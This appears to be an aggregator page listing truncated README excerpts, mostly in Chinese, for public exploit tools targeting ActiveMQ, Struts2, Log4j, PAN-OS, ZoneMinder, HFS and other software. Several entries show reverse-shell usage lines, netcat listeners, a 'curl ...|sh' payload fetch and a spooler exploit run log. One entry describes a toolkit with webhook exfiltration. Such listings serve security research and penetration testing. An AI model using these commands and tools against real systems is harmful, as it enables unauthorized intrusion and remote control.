ActiveMQ-EXPtools

ActiveMQ-EXPtools 支持检测和利用Apache ActiveMQ漏洞，CVE-2015-5254，CVE-2016-3088，CVE-2022-41678，CVE-2023-46604，CVE-2024-32114，CVE-2026-34197，CVE-2026-40466，CVE-2026-42588 !WARNING 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受，请勿使用此工具。 jdk8启动，Openwire默认端口61616，有时目标环境可能没有开放。apach...

CVE-2022-23935

CVE-2022-23935 🐍 CVE-2022-23935 的 Python 漏洞利用程序 CVE-2022-23935 的分阶段反向 Shell Payload 生成器 示例 root@kitploit: cve-2022-23935 10.10.16.3 44444 用法 root@kitploit: usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip 用于回调的 IP 地址/主机 port 用于回调的端口号 options: -h, --help 显示此帮助信息并退出 ...

CVE-2024-50498

CVE-2024-50498 描述 LUBUS WP Query Console 中存在生成代码控制不当（'Code Injection'）漏洞，允许代码注入。此问题影响 WP Query Console：从 n/a 到 1.0。 设置 Netcat 监听器： 在你的机器上打开一个终端并启动 Netcat 监听器，等待反向 shell 连接。 root@kitploit: nc -lvnp 用法 root@kitploit: usage: CVE-2024-50498.py -h -u URL -ip LISTENERIP -P PORT wordpress | Improper...

CVE-2021-31630

CVE-2021-31630 修改了Fellipe Oliveira为HTB编写的PoC CVE-2021-31630脚本 用法 '示例用法: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"'...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit 描述 用于利用CVE-2024-0039漏洞的Python脚本：在易受攻击的Android设备上执行任意代码。 注意 ：此代码仅用于教育和创造，服务于正义的一方，可以这么说！ 使用 使用必要参数运行脚本： root@kitploit: python exploit.py --cb-host --cb-port --output exploit.mp4 项目结构 exploit.py : 漏洞利用的主脚本，创建恶意MP4文件并记录执行过程。 logs/ : 您教育性创造性恶行的日志目录。 exploit.log : utils/ :...

CVE-2023-20273

CVE-2023-20273 CVE-2023-20273 漏洞利用 PoC 用法 root@kitploit: usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 Exploit PoC options: -h, --help sh...

zoneminder-1.29-1.30-rce-exploit

ZoneMinder 1.29/1.30 SQLi 到 RCE 漏洞利用 一个可直接运行的 Python 漏洞利用工具，针对 ZoneMinder 1.29/1.30，将未认证的 SQL 注入（CVE-2016-10204 ，EDB-41239）一路串联到交互式反向 shell。 这是一个针对已知且已修补的 CVE 的武器化/自动化 PoC，并非新的漏洞利用。 该漏洞的 EDB PoC 止步于 SQLi 载荷，或者只是“把 sqlmap 指向它”。本漏洞利用工具将完整的 SQLi 到 webshell 再到 shell 链条打包成一个可读的脚本。 功能说明 1...

CVE-2023-35803

CVE-2023-35804 - RCE no autenticado en puntos de acceso inalámbricos Extreme Networks/Aerohive PoC para puntos de acceso basados en ARM que ejecutan HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup aquí: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

CVE-2020-17530

S2-061 脚本皆根据vulhub的struts2-059/061漏洞测试环境来写的，不具普遍性，还望大佬多多指教 struts2-061-poc.py（可执行简单系统命令） 用法：python struts2-061-poc.py http://ip:port command 例子：python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py（可反弹shell） 用法： 1. 首先在一台机器A上监听指定端口例如：nc -lvvp 7777） 2. 执行脚本：python2 S2-061-shell.p...

CVE-2024-3400

CVE-2024-3400：操作系统命令注入漏洞 描述： CVE-2024-3400 是一个安全漏洞，影响那些接受用户输入并根据该输入执行操作系统命令，但缺乏充分验证的应用程序或服务。此漏洞允许攻击者通过接收到的输入注入恶意或破坏性的操作系统命令，可能导致系统被利用、数据被篡改，甚至完全控制易受攻击的系统。 更多信息和更新，请参考 CVE-2024-3400。 注意 请等待响应结果。响应需要相当长的时间...

TraditionalJay

TraditionalJay 故意存在漏洞的经典/传统 安全工坊店铺 — 运行在VM 上的Java（EC2、Azure VM或GCP Compute Engine），而非容器。 主要故事：关键VM失陷 — SQL注入 → Log4Shell CVE-2021-44228 → 反向连接至外部C2。 !CAUTION 请勿部署到生产环境。 保持VM的临时性，并将网络限制在实验室内。 为何存在 Jay's Surf Shop覆盖云原生运行时（ECS / ACA / GKE）。TraditionalJay涵盖主机/VM 途径：...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

CVE-2026-4480

执行漏洞利用： root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh +...

RevShell

🔥 Proyecto RevShell — Reverse Shell Avanzado para Windows root@kitploit: ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒...

Codiad-CVE-2018-14009

安装 codiad @ git clone https://github.com/Codiad/Codiad.git 复现步骤 1. 在 ubuntu 服务器上使用 Codiad 2.8.4（最新版本）搭建一个易受攻击的环境 root@kitploit: @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w data 2. @ git clone...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 绕过 bludit 登录缓解措施并上传恶意文件以调用反弹 shell...

CVE-2019-11447_reverse_shell_upload

CVE-2019-11447 CuteNews 2.1.2 Subida de shell inversa Una versión ligeramente modificada del Mt-Code POC que genera una shell inversa completa en lugar de una web shell. Este exploit utiliza el famoso PentestMonkey PHP Reverse Shell. Instalación pip install -r requirements.txt Ejemplo de uso: Cre...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 认证 RCE 利用工具包 一个针对 ScadaBR 1.1.0 的模块化认证后 RCE 利用工具，专为红队行动而增强。 功能特性 通过 viewedit.shtm 上传武器化的 .jsp shell 支持 Linux 与 Windows 载荷 支持 SOCKS5 / HTTP 代理 反弹 shell 触发（标准或 base64） 枚举模块（数据库、凭证、Log4Shell 等） Webhook 外传（Slack / Discord） 生成 Metasploit 资源脚本 清理支持（kill switch） MITRE ATT&CK...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc 针对近期发现的 CVE-2021-44228 漏洞的概念验证。 近期 log4j（一个被广泛用于 elasticsearch、minecraft 等众多场景的 Java 日志库）中出现了一个新漏洞。 本仓库包含一个示例漏洞应用及其概念验证（POC）利用程序。 概念验证（POC） 作为一个 PoC，提供了一个 Python 文件来自动化整个过程。 依赖安装： root@kitploit: pip install -r requirements.txt 使用方法： 启动一个 netcat 监听器来接收反弹 shell 连接。 root@kitploit: nc...

hfs-cve-2014-6287-exploit

HFS CVE-2014-6287 漏洞利用工具 概述 本仓库包含一个基于 Python 的漏洞利用工具，旨在利用 HTTP File Server HFS 版本 2.3.x 中的 CVE-2014-6287 漏洞。该漏洞允许攻击者在服务器上执行任意命令，可能导致未授权访问和控制。 ⚠️ 免责声明： 本工具仅用于教育目的和授权的渗透测试 。未经明确许可，针对您不拥有或无权测试的系统使用本工具是非法且不道德的。作者和贡献者不承担 因本工具被滥用或造成任何损害的责任。 目录 特点 前提条件 安装 使用 工作原理 配置 故障排除 贡献 作者 许可证 特点 命令执行： 在目标 HFS...